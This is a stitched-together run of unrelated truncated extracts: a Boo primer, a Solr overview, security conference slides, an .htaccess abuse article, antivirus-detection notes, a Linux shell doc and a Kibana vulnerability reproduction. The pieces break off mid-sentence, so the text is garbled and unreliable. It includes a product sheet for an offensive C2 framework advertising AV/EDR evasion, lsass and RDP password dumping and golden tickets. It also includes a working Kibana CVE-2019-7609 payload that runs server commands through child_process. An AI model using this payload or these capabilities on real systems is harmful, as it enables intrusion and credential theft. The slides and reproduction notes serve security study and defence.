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Boo Primer by Cameron Kenneth Knight Converted to PDF from the original HTML at boo.codehaus.org on May 27, 2008. NOTE: Hyperlinks do not work in the PDF version. Part 01 - Starting Out http://boo.codehaus.org/Part+01+-+Starting+Out?print=1 1 of 3 5/27/2008 9:05 PM Part 01 - Starting Out Part 01 - Starting Out Boo is an amazing language that combines the syntactic sugar of Python, the features of Ruby, and the speed and safety of C#. Like C#, Boo is a statically-typed language, which means that types are important. This adds a degree of safety that Python and other dynamically-typed languages do not currently provide. It fakes being a dynamically-typed language by inference. This makes it seem much like Python's simple and programmer-friendly syntax. C# int i = 0; MyClass m = new MyClass(); Boo i = 0 m = MyClass() Hello, World! A Hello, World! program is very simple in Boo. Don't worry if you don't understand it, I'll go through it one step at a time. helloworld.boo print "Hello, World!" // OR print("Hello, World!") Output Hello, World! Hello, World! First, you must compile the helloworld.boo file to an executable. 1. Open up a new command line 2. cd into the directory where you placed the helloworld.boo file. 3. booc helloworld.boo (this assumes that Boo is installed and in your system path) helloworld.exe OR, if you are using Mono, 4. mono helloworld.exe 5. 1. Using the print macro, it prints the string "Hello, World!" to the screen. OR 2. Using the print function, it prints the string "Hello, World!" to the screen. 3. Now these both in the end, do the same thing. They both call System.Console.WriteLine("Hello, World") from the .NET Standard Library. Recommendation Using the macro version (print "Hello, World!") is recommended. And it's that simple. Comparing code between Boo, C#, and VB.NET Now you may be wondering how Boo could be as fast as C# or VB.NET. Using their Hello World programs, I'll show you. Boo Part 01 - Starting Out http://boo.codehaus.org/Part+01+


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副本 Apache Solr 组件安全概览 组件概述 1.关键词 企业级全检索服务器基于Lucene 2.些名词 (1) 数据 结构化数据与非结构化数据 结构化数据 用表字段表示的数据 数据库适合结构化数据的精确查询 半结构化数据 xml html 非结构化数据 文本文档图片音频视频等 (2) Document 被索引的对象索引搜索的基本单元个Document由多个字段Field构成 Field 字段名name 字段值value 字段类型type FieldType(这个ﬁeldtype也有很多属性主要两个是name 以及 class 来存放该 类型值的类名)Field中包含分析器(Analyzer)过滤器(Filter) (3) 索引 对列值创建排序存储数据结构={列值行地址} Luncene或者说Solr的索引的创建过程其 实就是分词存储到反向索引中 输入的是苍老师想要得到标题或内容中包含苍老师的新闻列表 (4) 搜索引擎 区别于关系数据库搜索引擎专门解决大量结构化半结构化数据非结构化文本类数据的实时 检索问题 这种类型的搜索实时搜索数据库做不了 (5) 搜索引擎工作原理 1从数据源加载数据分词建立反向索引 2搜索时对搜索输入进行分词查找反向索引 3计算相关性排序输出 (5) zookeeper zk是分布式系统中的项协调服务solr将zk于三个关键操作 1集中化配置存储和分发 2检测和提醒集群的状态改变 3确定分代表 (7) Lucene 一套可对大量结构化半结构化数据非结构化文本类数据进行实时搜索的专门软件最早应 用于信息检索领域经谷歌百度等公司推出网页搜索而为大众广知后又被各大电商网站采 用来做网站的商品搜索现广泛应用于各行业互联网应用 核心构成数据源(存储的数据)分词器(英文比较容易中文两个常用的 IKAnalyzer mmseg4j主谓宾等)反向索引倒排索引相关性计算模型(例如 出现次数这个算简单 的复杂点的 可能就会加上权重搜索引擎会提供一种或者多种) (8) Solr中的Core 运在Solr服务器中的具体唯命名的可管理可配置的索引台Solr可以托管个或多 个索引solr的内核是运在solr服务器中具有唯命名的可管理和可配置的索引台solr 服务器可以托管个或多个内核内核的典型途是区分不同模式(具有不同字段不同的处 理式)的档 内核就是索引为什么需要多个因为不同的档拥有不同的模式字段构成索引存储 式商品数据和新闻数据就是两类完全不同的数据这就需要两个内核来索引存储它们 每个内核都有个 内核实例存放录内核索引数据存放录内核配置件 (solrconﬁg.xml)内核模式件(schema.xml) (9) Solr中的schema 包含整个架构以及字段和字段类型来告诉solr被索引的档由哪些Field组成让solr知 道集合/内核包含哪些字段字段的数据类型字段该索引存储 conf/managed-schema 或者 schema.xml (10) solrconﬁg.xml 此件包含与请求处理和响应格式相关的定义和特定于核的配置以及索引配置管理内 存和进提交内核配置件这个是影响Solr本身参数最多的配置件索引数据的存放位 置更新删除查询的些规则配置 (11) collection 集合 个集合由个或多个核(分)组成SolrCloud引了集合的概念集合将索引扩展成不 同的分然后分配到多台服务器分布式索引的每个分都被托管在个solr的内核中(个内 核对应个分呗)提起SolrCloud更应该从分的度不应该谈及内核 (12) Solr.xml 它是$ SOLR_HOME录中包含Solr Cloud相关信息的件 要加载核Solr会引此 件这有助于识别它们solr.xml 件定义了适于全部或多个内核的全局配置选项 (13) core.properties 代表个核为每个核定义特定的属性例如其名称核所属的集合模式的位置以及 其他参数 (14) Solr配置集 conﬁgset 于实现多个不同内核之间的配置共享 (15) requestHandler(solrconfig.xml) 请求处理程序定义了solr接收到请求后该做什么操作 Solr中处理外部数据都是通过http请求对外提供http服务每类服务在solr中都有对应的 request handler接收处理数据solr中有定义了很多内置的请求处理程序但是我们也可以 定义在conf/solrconﬁg.xml中配置 在 conf/solrconfig.xml中requestHandler的配置就像我们在web.xml中配置servlet- mapping或spring mvc 中配置controller 的requestMap一样配置该集合/内核下某 个请求地址的处理类 示例


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CSerV2 Final 版产品介绍 产品名称CSer C2 适用操作系统平台Windows 注新版本增改内容详见文中红字部分及最后一页的更新记录 产品简介 1 采用 C/T/B 架构即 Controller控制端TeamServer服 务器端Beacon客户端 三端支持多用户在线并实 时共享所有信息 2 Controller 端发布的任务支持同步和异步两种方式同步方 式可以实时的执行任务和查看任务执行结果异步方式则可 以实现类似于离线任务的效果即 Controller 可以一次性下达 多个任务Beacon 端会依次取出任务执行并将结果返回给 TeamServer 3 使用 Profile 定制化通讯协议降低被特征化的机率 4 除了基本的管理功能外还拥有大量的适用于各种环境的渗 透测试模块用于高效地辅助渗透测试 产品特性 1 具备更为详细的信息收集功能运行时环境探测以及域内网 渗透相关功能 2 加强了 AV/EDR 对抗能力同时对静态以及动态两方面进行了 处理优化有效规避了常见 AV/EDR 的检测在低成本情况 下无需用户进行二次处理即可达到较高的 ABU(Anti BypassUndetectable) 效果 3 Beacon 端拥有很高的稳定性和兼容性可在不同版本的 windows 操作系统上稳定运行 4 提供了两种 Beacon 端持久化的方式新的 COM 劫持方法以 及更加隐蔽的计划任务 5 提供了两种 Beacon 端植入模式Solo L&C即手动植入模 式主要用于已获得初始访问权比如交互式 shell的场景 下使用Solo D4All即下载者模式主要用于获取初始访 问权的场景 6 提供了一种一次性使用 Beacon 的方式RunOnce单次运行 模式, 用于临时需要使用的场景 7 重构了内存中的 C2profile有效规避了 AV/EDR 的内存扫 描 功能列表 1 对目标网站进行 Clone为后续攻击进行准备工作 2 将 TeamServer 临时作为 WebServer 来使用供远程下载文 件 3 提供探针功能刺探访问者系统浏览器等信息 4 提供模版类型的鱼叉式钓鱼功能 5 提供 SOCKS 代理功能 6 内网端口扫描 7 屏幕截图 8 文件管理功能 9 进程管理功能 10 将 teamserver 与控制端进行分离防止 teamserver 被入侵或 teamserver 所在机器运行防病毒软件时导致核心功能丢失 11 对通讯进行二次加密防止流量被监控降低被检测风险 12 系统基本信息包括 CPU 信息内存信息GPU 信息用户 名机器名IP 地址MAC 地址等基础信息 13 系统服务信息枚举系统服务信息 14 补丁信息枚举同时通过补丁信息列出对应的漏洞 CVE 编 号 15 CLR 版本检测枚举目标机器上的 CLR 版本 16 EDR 检测检测目标机器上的 EDR 信息并列出其版本对 应的服务其所在目录等信息 17 虚拟机检测通过各方面包括 BIOS 信息内存大小注册 表分辨率CPU 温度等各种信息来判断目标系统是否为虚 拟机 18 运行时安全检测检测杀软基本信息以及系统补丁基本信息 列出杀软的名称以及安装目录系统安装的补丁以及安装时 间 19 软件信息检测检测目标机器上所安装的软件信息内容包 括软件名版本号软件开发公司安装时间安装目录 架构等基本信息 20 运行时权限检测包括检测 applocker 选项UAC 选项 Token 权限信息 21 网络连接信息包括 4 方面目标机器 DNS 缓存信息ARP 协议连接信息TCP 协议连接信息UDP 协议连接信息 22 本地 hash 提取 23 本地明文密码提取 24 RDP 明文密码提取 25 通过 lsass 进程获取密码 26 域内 hash 提取 27 域内 tickets 提取 28 通过 RDP 协议远程执行命令 29 通过 DCOM 远程执行命令 30 无文件远程命令执行 31 通过 SMB 远程执行命令 32 通过 WinRM 远程执行命令 33 通过 WMI 远程执行命令 34 黄金票据 35 白金票据 36 LDAP 查询域内基本信息内置部分查询语句 37 票据传递 38 域内基本信息收集 39 新增了自定义的 TeamServer 以及 C2Profile 生成器本地数据 库保存方便随时读取修改 40 新增了全版本通用的 BypassUAC 以及 GetSystem 功能使用 smart inject 自动挑选最佳的注入进程与方式 41 minidump 允许用户通过 PID 或进程名 dump 任意进程并自 动加密压缩保存允许用户自动下载并配备对应解密工具 42 新的 Beacon 生成器 对 beacon 做了全方位的 ABU免杀处理极


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知道创宇404实验室发布 打造世界领先网络空间测绘能力 演讲人 heige@0x557 hei@knownsec.com 2019 PART 01 Xmap 2.0 发布 目录 CONTENTS PART 02 节点分析 PART 03 ZoomEye50 0节点计划 PART 04 IPv6 测绘 01 02 03 04 05 PART 05 ZoomEye全球 蜜罐识别  获取更多数据  赋予数据灵魂 两个关键 heige 探测资源及技术已经成为网络空间测绘的核心竞争力 CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED TITLE WORDS. PART.01 Xmap 2.0 发布 Xmap 2.0 发布  Xmap是ZoomEye核心探测引擎IP  IP探测引擎的疼点 a. 单一追求速度而忽略了效果 b. 速度快意为着高并发同时意味着高丢包 c. 扫描节点IP被拦截拉黑 Xmap 2.0 发布  效果平均每月提升了6.4倍的数据量  一键部署安装给500节点计划打下基础 CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED TITLE WORDS. PART.02 节点分析 Shodan节点分析  Shodan 现有节点分析 a. 2019.03 fdns/rdns记录提取去重外网ip数131个 b. 其中带census的记录提取去重外网ip数77个 c. 集中分布在荷兰法国罗马尼亚美国冰岛等  从某些端口扫描行为推测Shodan可能存在通过某些代理池技术进行扫描 Censys节点分析  Censys 现有节点分析 a. 2019.03 fdns/rdns记录提取去重外网ip数406个 b. 其中带worker的记录提取去重外网ip数304个 c. 主要集中在198.108.66.*/198.108.67.* [美国","密歇根州","","","merit.edu"]  2019.03 从某些端口扫描行为分析发现活动ip数86个 CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED TITLE WORDS. PART.03 ZoomEye500节点计划 ZoomEye500节点计划 基于最新Xmap 2.0架构  目前部署约200个节点将扩充到500个节点  节点分布广泛美国日本新加坡泰国俄罗斯印度等 heige 多维度的数据关联才能得到更丰满的数据灵魂 CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED TITLE WORDS. PART.04 IPv6 测绘 IPv6 测绘 域名 > IPv4  > 暗网  > IPv6 目前接近1亿的IPv6地址库最近平均每周增加7万 数据合作+自主爬虫 探测引擎Xmap -IPv6版 a. 支持所有ZoomEye IPv4的端口协议 b. 平均每周增加约200w条数据跟节点资源投入相关 IPv6 测绘 IPv6 测绘 heige 蜜罐部署 vs 蜜罐识别>网络空间测绘领域的主要对抗面 CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED TITLE WORDS. PART.05 ZoomEye全球蜜罐识别 ZoomEye全球蜜罐识别 网络空间外网蜜罐主要用来对抗僵尸网络GPT网络空间mass扫描等攻击是威胁情报的主要 来源之一 随着攻防博弈白热化蜜罐识别诊断成为必然 蜜罐也是一种服务或者说应用一样存在自己的特定的banner数据体现所以蜜罐是可 被识别 ZoomEye全球蜜罐识别 ZoomEye全球蜜罐识别 端口分布 ZoomEye全球蜜罐识别 IDC分布 heige ZoomEye关注一切网络空间测绘IP 画像相关数据 ZoomEye期待更多的合作 heige 黄婆卖瓜也得用户夸 ZoomEye are


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Kubernetes Privilege Escalation: Container Escape == Cluster Admin? Yuval Avrahami & Shaul Ben Hai, Palo Alto Networks #BHUSA @BlackHatEvents whoami  Cloud security researchers @PANW  Vulnerability research in the cloud  Azurescape  Threat hunting in the cloud  Slioscape Kubernetes Privilege Escalation: Container Escape == Cluster Admin? Agenda  Container Escapes  Kubernetes 101  Malicious Node  Attack Classes  Escape == Admin?  Recommendations & Takeaways Container Escapes Do containers contain?  Containers are great for packaging & deploying software  Weak security boundary  Escapes will inevitably occur  Vulns in 2022 alone: DirtyPipe, containerd CVE-2022-23648, multiple kernel vulns @Google's kctf, cri-o CVE-2022-0811  Misconfigurations: privileged containers, host mounts, etc  In-the-wild malware: Siloscape, TeamTNT  What's the impact? Kernel Obvious Impact: Compromised Node  Container Escape == Cluster Admin?  Container Escape == Cluster Admin? (Feb)  We looked into the most popular platforms  In half, by default escape == admin Terminology  Admin  Admin-equivalent Few trivial steps Kubernetes 101 Kubernetes 101  Orchestrates pods (containers) on nodes (VMs)  It's everywhere Kubernetes 101 - Authentication  Certificates: users & nodes  ServiceAccount tokens: pods Kubernetes 101 - Authorization (RBAC)  Perms expressed <verb> <resource>  list secrets, create pods  Perms grouped into Roles  Bindings grant Roles  ns-scoped  cluster-wide Permission grant to Pod list services list pods Grants Role to identity Pod's SA token can list services & pods </101> Post Container Escape Credentials on a Rogue Node  Kubelet credentials  Restricted: NodeAuthorizer & NodeRestriction  Node perms != admin  Neighboring pods' service accounts  Permissions vary Node's interesting permissions are largely its pods' permissions! Trampoline Pods  Powerful pods with enough permissions to bounce you around the cluster  Reach higher privileges  Jump to other nodes  Feel young again Know You


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The Internets Private Cops Wendy Seltzer EFF Staff Attorney wendy@eff.org <http://www.eff.org> DEFCON 11, August 2, 2003 11/23/2009 2 The Internets Private Cops  Early view: The Internet can route around law  Later view: Maybe it cant. We need to work with the law itself. 11/23/2009 3 RIAA v. Verizon  subpoena: RIAA demands identities of four alleged KaZaA users from Verizon  challenge: Verizon withholds names, goes to court for user privacy  court order: Reveal the names  decision currently being appealed 11/23/2009 4 Law enforcement is not just the government 11/23/2009 5 Private actors have many legal mechanisms at their disposal  cease-and-desist letters  subpoenas  civil lawsuits  private investigation (discovery)  cooperation with state and federal prosecutors 11/23/2009 6 Internet architectures facilitate private control  Law and technology create chokepoints: centralization in the decentralized network  ISPs, backbone providers, DNS  Public content on the Net is stored on private servers 11/23/2009 7  Internet enables more people to publish, cheaply, to more other people;  It also enables more people and corporations to monitor that speech  Claims of copyright infringement  The work draws inspiration from (copies) another  or interoperates with (circumvents) another  Claims of trademark infringement  Claims of patent infringement  11/23/2009 8 Chilling Effects the shadow of the law  Legal threats may not have merit but still deter online activity  Threats such as: an injunction, disgorgement of revenues and/or statutory damages, as well as attorneys fees and costs for such litigation 11/23/2009 9 http://www.chillingeffects.org/ 11/23/2009 10 11/23/2009 11 11/23/2009 12 Resisting the Chill  Legal threats are often used against obnoxious but not illegal activities.  To resist the chill, know the law and legal defenses. 11/23/2009 13 Copyright  Infringement and secondary liability  DMCA  DMCA subpoenas  DMCA safe harbor, notice & takedown  DMCA anticircumventio


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DefCon (China) 1, Beijing 2019 Breaking the back end! Gregory Pickett, CISSP, GCIA, GPEN Chicago, Illinois gregory.pickett@hellfiresecurity.com Hellfire Security Overview Transit Systems Reverse Engineering My Discoveries The Exploit The Lessons Brief History The Anatomy of a Subway Hack (2008) NFC Subway Hack (2012) How to Hack All the Transport Networks of a Country (2012) Breaking Korea Transit Card with Side-Channel Attack (2017) How This Is Different This is not illegal We arent sneaking into the station We arent hacking their terminals We arent social engineering anyone or attacking their wired/wireless network This is not about the hardware We arent cracking anyones encryption We arent cloning the magstripe, RFID, or NFC How This Is Different This Is About Flaws in the Application Logic OK. Cloning is involved but it is not the vulnerability exploited Using AppSec to attack Complex Multi- Layered Real World Solutions Elevated Train Bangkok Mass Transit System (BTS) Elevated rapid transit system in Bangkok, Thailand Serves Greater Bangkok Area Operated by Bangkok Mass Transit System PCL (BTSC) 43 stations along two lines Tickets Stored-Value Card (NFC) All Day Pass (Magstripe) and Single Journey (Magstripe) Two magstripes Hole through one magstripe Only 0.27mm thick Tickets Tickets Tickets Gates Entering Exiting Why Them? Magstripe Really? There had to be something there! Threatening To For Years Had to Before Moving On  The Equipment Standard Reader/Writer Manufactured in China Standards or Raw Read Errors Rare Reliable Performance The Questions Data Location Encoding Schemes Data Changes Data Meaning System Response Data Tampering Repeating states or out of order transitioning Lab Work Reading the magstripes Decoding the data Lab Work Lab Work Attempted Decode Using Standards International Organization for Standardization 6-bit Character sets and 4-bit Character sets Some With Parity and Some Without Attempted Decode both forwards and backwards It wasnt usin


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原文 by [看雪学院](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458286843&idx=1&sn=15e3d1aa8ae418cc5ed6010b390388b6&chksm=b1814a7186f6c367a24033a297edc3fe2275334f45fd0b944bb606dc449e027beb1b4bc6997d&scene=0#rd) 这是关于使用htaccess进行开发的两部分系列的第一部分我将在这里介绍一些基本的众所周知的方法还有一些鲜为人知的方法在第2部分中我将通过使用htaccess来开发更高级的开发方法 在本指南中我将尝试解释.htaccess的各种非常规用法这些用法对于渗透测试和后渗透攻击非常有用我假设大多数读者会对.htaccess有所了解但是对于那些不了解的人我会提供一个简短的解释不管你对htaccess规则是否熟悉我都希望这些内容很容易被大家掌握 我将要介绍的内容中有一些方法有点过时了但是其中很多依旧在使用着并且即使是过时的方法当攻击者在攻击一台没有对软件及时更新的机器也是可以成功利用的 对于那些不熟悉.htaccess的人这里是一个简短的解释来自htmlgoodies.com htaccess是超文本访问Hypertext Access的缩写是一个基于Apache的Web服务器使用的配置文件用于控制它所在的目录以及该目录下的所有子目录 很多时候如果你已经安装了内容管理系统CMS比如DrupalJoomla或者Wordpress你可能会遇到.htaccess文件 一般来说你不需要编辑它但这个文件是你上传到Web服务器的文件之一 .htaccess文件的主要功能包括使用密码保护文件夹禁止或允许用户使用IP地址访问禁止目录浏览将用户自动重定向到另一个页面或目录创建和使用自定义错误页面改变具有特定扩展名的文件的使用方式或者通过指定文件扩展名或特定文件作为主页 简而言之这是一套包含在您的网络服务器上的规则在一个名为.htaccess的文件中它允许您执行诸如使用密码保护目录或为扩展创建别名等选项例如如果您有一个页面 `http://site.com/something/file.php` 你可以设置一个htaccess的规则以便当页面加载时将使用户`http://site.com/something/file` 隐藏扩展名 - 或者你 可以使用它来做一些像302重定向一个页面到另一个或HTTP 403的目录 下面是一个htaccess文件的例子 ``` ### MAIN DEFAULTS Options +ExecCGI -Indexes DirectoryIndex index.html index.htm index.php DefaultLanguage en-US AddDefaultCharset UTF-8 ServerSignature Off ``` 有趣的是你需要在所有.htaccess文件中添加ServerSignature Off指令因为这样的话可以阻止在目录列表上显示你的服务器信息这使得攻击者的侦察阶段会有非常明显的提示所以说这个时候最好通过你的httpd.conf来完成对web服务的控制而不是你的htaccess文件 我将主要关注的重点放在.htaccessmod_rewrite中的apache的重写模块这个模块允许重定向发生 那么我们开始吧 ## 用连续的弹出窗口骚扰互联网用户 我将要讨论的第一种方法是如何在他们试图利用的站点上滥用mod_rewrites来连续弹出窗口 这是一个非常简单的方法您可以将图像上传到服务器然后使用htaccess文件来利用密码保护目录并将该图像重定向到该密码保护的目录中的文件 除了.htaccess之外还需要一个.htpasswd文件它将包含密码保护目录的登录凭证 这个方法只是一个有趣的没有任何实际价值但我曾经看到它在以前的流行论坛上被利用它是非常有效的 为了演示这个例子我们假设我们有两个文件lol.jpg和umad.jpg其中lol.jpg存储在一个公共目录中umad.jpg存储在一个受密码保护的目录中 这里对应的.htaccess文件应该是类似与这样 ``` Options +FollowSymlinks RewriteEngine on RewriteRule lol.jpg /protected-directory/umad.jpg [NC] AuthUserFile /home/usr/.htpasswd AuthName r u mad tho AuthType Basic require user lolololololol ``` 除此之外您还需要设置一个如


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大陆浏览器安全 宋雷 1 大陆浏览器市场特点  面临安全问题与国际市场迥异  由于金山/腾讯/360导致漏洞补丁很快0day几 乎不会规模性出现  主要威胁为小成本钓鱼下载欺骗点对点社 会工程网购诈骗 2 金山网络在浏览器安全的积累  2009年我们在业界率先推出了首款基于浏览器 的专业防护产品 - 金山网盾  除360以外的国内主流浏览器产品安全技术几乎全 部基于金山云开放平台开发  金山毒霸在网购保护方面做出了诸多的创新如 敢陪模式等 3 遨游浏览器 Maxthon) 金山云开放平台 搜狗浏览器(Sogou) 360云平台 360浏览器 4  在做安全的路上我们反复在思考 到底什么样的浏览器才是安全的  让我们先来看看我们遇到的威胁并分类介绍各 类威胁的解决方案 5 威胁一钓鱼与欺诈  在用户浏览网页过程中浏览器将用户访问的网 址hash后提交给服务器服务器根据恶意网址库获 取当前网址安全性  厂商通过自己的蜘蛛与用户反馈来完善自己的恶 意网址库 6 威胁一钓鱼与欺诈  DEMO 7 威胁一钓鱼与欺诈 8 威胁一钓鱼与欺诈 9 威胁二漏洞攻击  大陆浏览器多基于在IE与chromium开发比如360 安全基于ie360极速ie+chromium猎豹基于 ie+chromium  ie的漏洞每家都有比较成熟的技术比如金山的 网盾360的网盾可以阻止ie核下常见的漏洞攻 击进程启用dep, aslr拦截可疑文件执行加载 堆喷射地址占坑特定函数检测返回地址等等 10 威胁二漏洞攻击 11 威胁二漏洞攻击 12 威胁二漏洞攻击  chromium的漏洞在一个chromium核的漏洞被公 告后第三方厂商多很被动多只能等chromium 解决后更新  自身引入的漏洞比如前段时间的360浏览器的 external问题360信任指定域下网站可以使用 external导出函数比如修改首页历史记录等 如果这个域存在xss问题将面临很大的安全风险 13 威胁二漏洞攻击  DEMO 14 威胁二漏洞攻击 15 威胁二漏洞攻击 16 威胁三下载威胁  2011年的病毒木马传播更加依赖互联网通道依 靠下载包括浏览器下载和聊天工具传送的病 毒达到86.4%通过网页挂马等形式比以前大大减 少  比如前段时间的 PuTTYWinSCP和SSH Secure工具 汉化版被人植入后门导致大量服务器落入黑客 手中 17 威胁三下载威胁  一个完整的下载安全解决方案应该包括 a. 下载前拦截 下载前预先收集了可疑的下载URL不用扫描文件 即可通过URL进行拦截用户不用经历下载过程 b. 下载后拦截 通过扫描下载后的文件进行拦截 18 威胁三下载威胁  为什么要下载后拦截 a. 基于云的URL收集未必是最及时的 b. 一次一变的下载链接 我们要让每个用户都不是那个最倒霉的用户 19 威胁三下载威胁  下载后拦截技术 文件 解压脱壳 金山云特征查询 金山本地启发式引擎 白 白 允许访问 禁止访问 黑 黑 20 威胁三下载威胁  DEMO 21 威胁三下载威胁 22 威胁三下载威胁 23 威胁三下载威胁  浏览器带一个扫描引擎将下载的文件抽取特征 提交给云服务器查询安全性 24 威胁四网购威胁  在网购过程中除了网页钓鱼威胁外越来越多 的是在客户端环境不安全情况下网页遭篡改 键盘被监听的问题 25 威胁四网购威胁  解决方案 支付前网购环境扫描 网购过程中阻止未知程序执行 网购过程中阻止未知驱动加载 网购过程中阻止注入浏览器 网购过程中阻止篡改浏览器页面 网购过程中阻止网页键盘记录 26 威胁四网购威胁 27 威胁四网购威胁 28 威胁四网购威胁 29 威胁四网购威胁 30 国内浏览器的安全现状  普遍不重视安全问题  真正冠以安全浏览器名称的只有 360安全浏览器 猎豹浏览器  而360安全浏览器真正的安全功能仅只是网址拦截 31 猎豹浏览器  携着对浏览器安全的认识和思考我们推出了猎 豹浏览器  猎豹浏览器拥有业界最全面的安全防护体系BIPS: Browser Intrusion Prevention System  结合金山多年积累的 云安全 以及 K+ 防御  全面解决大陆浏览器的安全威胁问题  猎豹浏览器的安全防御组成 32 33  猎豹浏览器同时还是全球首个敢赔浏览器 只要使用猎豹浏览器上网就可以享受敢赔服务 并获得1000元的敢赔基金倘若网购时被盗 就可以从基金中获取单笔最高500元的现金赔付 34


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ANTI-VIRUS ARTIFACTS III // By ethereal__vx 1 Antivirus Artifacts III Table of Contents Topic Page Introduction 3 Avira 4 - 7 F-Secure 8 - 10 Norton 11 - 15 TrendMicro 16 - 18 WebRoot 19 - 22 BitDefender 23 - 27 MalwareBytes 28 - 30 Adaware 31 - 32 AVAST 33 - 37 Dr. Web 38 - 40 Kaspersky 41 - 43 Conclusion 44 2 Antivirus Artifacts III Welcome to Antivirus Artifacts III. The Antivirus Artifacts series so far has focused exclusively on mnemonic artifacts: drivers, API hooks, or processes which may be present. This third entry identifies registry artifacts from the AV product as well as services. New AVs have been added to the collection: Adaware, Dr. Web, AVAST , Kaspersky. Note: due to the size of the registry artifacts retrieved they will not be listed in this paper. Registry dumps for HKEY_LOCAL_MACHINE, HKEY_CURRENT_CONFIG, HKEY_CLASSES_ROOT, HKEY_USERS, and HKEY_CURRENT_USER can be viewed on my GitHub. https://github.com/D3VI5H4/Antivirus-Artifacts/tree/main/Registry%20Data Summary of Antivirus Artifacts I: The most common method to determine if an anti-virus product or EDR system is in place is using the WMIC and performing a basic query against the Windows Security Center namespace. wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed courtesy of Sam Denty from StackOverflow This method will work in most scenarios. The problem presented here is that this will only return a string if the anti-virus product, or the EDR system, has chosen to register itself in the Windows Security Center namespace. If the product has not registered itself this query will fail. Knowing we are dependent on a security product to register itself I have decided to go down a different path. Summary of Antivirus Artifacts II: This release is to act as an amendment to the original paper by diving deeper into antivirus products and their operations by documenting drivers loaded into the Wi


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Backdooring the Lottery and Other Security Tales from Gaming July 30, 2017 Gus Fritschie and Evan Teitelman Presentation Overview 1. Introductions 2. What has happened since 2011 3. Historical overview of security incidents in gaming 4. Eddie Tipton and the lottery 5. Russian slot attacks 6. Conclusion  SeNet International Corp. 2017 3 July 2017 SeNet Who We Are  SeNet International  SeNet International Corp. 2017 4 July 2017 SeNet Who We Are  Gus Fritschie Gus Fritschie has been involved in information security since 2000. About 5 years ago (after his previous DEF CON presentation on iGaming security) he transitioned a significant portion of his practice into the gaming sector. Since then he has established himself and SeNet as the IT security leader in gaming. He has supported a number of clients across the gaming spectrum from iGaming operators, land-based casinos, gaming manufacturer, lotteries, tribal gaming, and daily fantasy sports. @gfritschie  SeNet International Corp. 2017 5 July 2017 SeNet Who We Are  Evan Teitelman Evan works and lives in the Washington DC area. He is the founder of BlackArch Linux and specializes in reverse engineering and secure application development. In his free time he enjoys hiking, climbing, and working on his van.  SeNet International Corp. 2017 6 July 2017 SeNet Evans Van  SeNet International Corp. 2017 7 July 2017 SeNet What this talk is and is not  SeNet International Corp. 2017 8 July 2017 SeNet What has happened since 2011  SeNet International Corp. 2017 9 July 2017 SeNet iGaming Legislation  SeNet International Corp. 2017 10 July 2017 SeNet Highlighted Security Incidents in Gaming Since 2011 None of these will be discussed in detail but are listed to illustrate that this sector is not immune to these threats. Only a small sampling.  Las Vegas Sands hack  NJ iGaming DDOS attacks  Affinity Gaming breach  Hard Rock Hotel & Casino data breach  Casino Rama Resort in Ontario  Peppermill Resort Spa Casino in Reno credit card brea


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set === 显示或设置shell特性及shell变量 ## 补充说明 **set命令** 作用主要是显示系统中已经存在的shell变量以及设置shell变量的新变量值使用set更改shell特性时符号"+"和"-"的作用分别是打开和关闭指定的模式set命令不能够定义新的shell变量如果要定义新的变量可以使用declare命令以`变量名=值`的格式进行定义即可 ### 语法 ```shell set(选项)(参数) ``` ### 选项 ```shell -a标示已修改的变量以供输出至环境变量 -b使被中止的后台程序立刻回报执行状态 -C转向所产生的文件无法覆盖已存在的文件 -dShell预设会用杂凑表记忆使用过的指令以加速指令的执行使用-d参数可取消 -e若指令传回值不等于0则立即退出shell -f取消使用通配符 -h自动记录函数的所在位置 -H Shell可利用"!"加<指令编号>的方式来执行history中记录的指令 -k指令所给的参数都会被视为此指令的环境变量 -l记录for循环的变量名称 -m使用监视模式 -n只读取指令而不实际执行 -p启动优先顺序模式 -P启动-P参数后执行指令时会以实际的文件或目录来取代符号连接 -t执行完随后的指令即退出shell -u当执行时使用到未定义过的变量则显示错误信息 -v显示shell所读取的输入值 -x执行指令后会先显示该指令及所下的参数 ``` ### 参数 取消某个set曾启动的参数 ### 实例 使用declare命令定义一个新的环境变量"mylove"并且将其值设置为"Visual C++"输入如下命令 ```shell declare mylove='Visual C++' #定义新环境变量 ``` 再使用set命令将新定义的变量输出为环境变量输入如下命令 ```shell set -a mylove #设置为环境变量 ``` 执行该命令后将会新添加对应的环境变量用户可以使用env命令和grep命令分别显示和搜索环境变量"mylove"输入命令如下 ```shell env | grep mylove #显示环境变量值 ``` 此时该命令执行后将输出查询到的环境变量值


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# Kibana 原型链污染导致任意代码执行漏洞 (CVE-2019-7609) Kibana 为 Elassticsearch 设计的一款开源的视图工具其5.6.15和6.6.1之前的版本中存在一处原型链污染漏洞利用这个漏洞我们可以在目标服务器上执行任意JavaScript代码 参考链接 - https://nvd.nist.gov/vuln/detail/CVE-2019-7609 - https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/ - https://slides.com/securitymb/prototype-pollution-in-kibana/#/4 ## 漏洞环境 启动环境前需要先在Docker主机上执行如下命令修改`vm.max_map_count`配置为262144 ``` sysctl -w vm.max_map_count=262144 ``` 之后执行如下命令启动Kibana 6.5.4和Elasticsearch 6.8.6 ``` docker compose up -d ``` 环境启动后访问`http://your-ip:5601`即可看到Kibana页面 ## 漏洞复现 原型链污染发生在Timeline页面我们填入如下Payload ``` .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ') ``` ![](1.png) 成功后再访问Canvas页面触发命令`/bin/touch /tmp/success`可见`/tmp/success`已成功创建 ![](2.png)


